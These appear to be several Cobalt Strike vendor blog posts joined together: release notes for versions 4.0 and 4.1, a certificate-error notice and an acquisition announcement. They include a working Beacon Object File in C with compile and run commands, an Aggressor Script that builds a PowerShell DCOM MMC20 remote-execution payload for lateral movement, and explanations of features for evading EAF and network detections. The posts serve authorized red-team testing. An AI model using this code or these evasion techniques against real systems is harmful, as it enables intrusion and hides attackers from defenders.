DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
 
void go(char * args, int alen) {
    DWORD dwRet;
    PDOMAIN_CONTROLLER_INFO pdcInfo;
 
    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
    if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
    }
 
    NETAPI32$NetApiBufferFree(pdcInfo);
}

To compile this with MinGW:

x86_64-w64-mingw32-gcc -c net_domain.c -o net_domain.o

Or, if you prefer, you can use Microsoft’s compiler as well:

cl.exe /c /GS- net_domain.c /Fonet_domain.o

Use Beacon’s inline-execute command to run it:

beacon> inline-execute /path/to/net_domain.o

Beacon Object Files do have limits. As it’s an object file and Beacon is the linker, the functions available to you are the ones located in your object file, the Win32 API (following the convention of modulename$function), and the built-ins resolved by Beacon.

The benefit of Beacon Object Files is they’re very small (none of the cruft from DLLs), Beacon has full control over how and where they live in memory, and they do not require [too many] C coding tricks or carefully crafted compiler and linker switches.

The Mark of Injection

Position-independent code (injected DLLs, stagers, etc.) in many offense toolkits have a common initial action. They immediately find kernel32 in memory and walk its Export Address Table to find function pointers needed to bootstrap the position-independent code.

The NT Shellcode Prevention Demystified article in a 2005 issue of Phrack details a detection based on this behavior. Microsoft’s EMET implements this as EAF (Export Address Filtering). A graduated version of the EMET implementation is baked into Windows 10 as EAF+. This concept is interesting stand-alone. It’s also interesting as a signal to mark a process or thread as compromised with injected code to support behavior-based detection chains.

Cobalt Strike’s strategy to avoid this behavior is to pass key function pointers to its post-exploitation tools, when they’re known. This is smart inject and it was introduced in Cobalt Strike 3.14 for the product’s built-in fork&run post-exploitation features.

This release extends Smart Inject to the Beacon payload.

The Artifact Kit and Resource Kit (PowerShell only) were updated with a convention to patch GetProcAddress and GetModuleHandleA into position-independent code before it executes. This allows Beacon to bootstrap itself without walking the import or export address tables to find these pointers.

For built-in actions that spawn a session (e.g., spawnas, spawnu, inject, etc.); Beacon will generate a payload that inherits key function pointers from a same-arch parent Beacon. &payload_local in Aggressor Script exists to allow scripted session passing capability to do the same.

Smart Inject is optional and it’s disabled by default. Set stage -> smartinject to true, via your Malleable C2 profile, to enable this behavior in your Beacon payload. Set post-ex -> smartinject to true, to enable this behavior in Beacon’s post-ex DLLs.

Malleable Named Pipe and TCP Communication

This release introduces some malleability to Cobalt Strike’s named pipe and TCP Beacons.

The named pipe Beacon has long had the ability to set the named pipe to something other than the default. This release adds the smb_frame_header option to prepend a header to every frame sent via the named pipe Beacon. This is a way to push back on static detections that target the structure and content of named pipe Beacon messages.

The TCP Beacon also has tcp_frame_header to prepend a header to frames sent by the TCP Beacon.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.1. Licensed users may run the update program to get the latest. If you get a certificate error, download the latest distribution package.

If this release piques your interest in Cobalt Strike, contact us for a quote.

SSL certificate verification for failed

TL;DR a certificate for part of the Cobalt Strike update infrastructure changed. Download the 20200511 distribution package to avoid certificate verification errors.

If you recently ran the Cobalt Strike update program (version 20191204); you may see a nice message about the failed SSL certificate verification for verify.cobaltstrike.com:

verify.cobaltstrike.com hosts a text file with SHA256 hashes for the licensed Cobalt Strike product and its distribution packages. The update program queries this server after it downloads a new Cobalt Strike update. The update programs pins the certificate for this server. When the certificate does not match what update expects, the update program rightfully gives a rather stern and scary warning. “Someone may be hacking you, don’t trust this update”. This is by design. I want you to know you’re getting the update from HelpSystems and not Comrade Adversary and their merry band of update poisoning friends.

The above step works great when the update program knows the current SSL certificate. Today was a special day for verify.cobaltstrike.com though. Its certificate expired. This was a planned event and the update program did ship with a hash for the replacement certificate when I pushed the 4.0 release in December. Sadly, the string representation of the new certificate hash differed in a way that causes the update program to reject the new certificate. Oops!

I’ve updated the update program to resolve this issue. It’ll say Cobalt Strike Update (20200511) when you run it. If you’re seeing this certificate error, download the updated distribution package at https://www.cobaltstrike.com/download

Cobalt Strike joins Core Impact at HelpSystems, LLC

I founded Strategic Cyber LLC in 2012 to advocate a vision of threat-representative security testing. Over time, Cobalt Strike became the de facto commercial standard for red team operations and adversary simulations. I’ve long asked myself, how do I stay a good partner to my customers as their numbers grow and this field evolves?

Today is a big step forward as Minnesota-based HelpSystems, LLC has acquired Strategic Cyber. I have joined HelpSystems as a Technical Director for Cybersecurity. I will lead the team that continues the R&D-driven releases of the Cobalt Strike product. The Cobalt Strike product and business operations of Strategic Cyber will benefit from the experience and resources at HelpSystems.

HelpSystems is a good fit for Strategic Cyber and its customers. The company was founded in 1982 and is a cyber security company and the largest independent vendor in the IBM i space. Their portfolio includes antivirus, identity and access management, secure file transfer, intrusion detection, and security services for IBM i, Linux, and other platforms. HelpSystems became successful through good products, partnership with their customers, and taking care of their team.

HelpSystems is the parent company of Core Security, the creators of the Core Impact penetration testing tool. Core Impact came to market in 2003, a time when exploits were published by anonymous authors and the use of these exploits had safety and reliability implications. Core Impact became the trusted product to automate penetration tests, exploit the latest vulnerabilities, and pivot to new targets.

Cobalt Strike’s story is similar. Cobalt Strike came to market in 2012, a time when security meant prevention of breaches with less thought on post-breach containment, detection, and response. Cobalt Strike explored the post-breach offense problems of team collaboration, flexible communications, and novel capability to demonstrate risks. When security teams needed to emulate real-world attack scenarios to improve security operations and exercise processes, Cobalt Strike became the natural choice.

I’m excited to explore the synergy between Cobalt Strike and Core Impact. Our work is to share knowledge, offer real insight into risk, and drive objective and meaningful security advances. As this field evolves, we will evolve with it.

Press Release:
https://www.helpsystems.com/about/news/helpsystems-acquires-cobalt-strike-expand-core-security-business

Cobalt Strike 4.0 – Bring Your Own Weaponization

Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method {
    local('$script $command $args');
 
    # state what we're doing.
    btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");
 
    # separate our command and arguments
    if ($3 ismatch '(.*?) (.*)') {
        ($command, $args) = matched();
    }
    else {
        $command = $3;
        $args    = "";
    }
      
    # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
    $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
    $script .= $2;
    $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
    $script .= $command;
    $script .= '", $null, "';   
    $script .= $args;
    $script .= '", "7");';
 
    # run the script we built up
    bpowershell!($1, $script, "");
}
 
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Bring Your Own Weaponization is not a replacement for elevate and jump. It is an alternative set of approaches to these commands.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact Strategic Cyber LLC for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].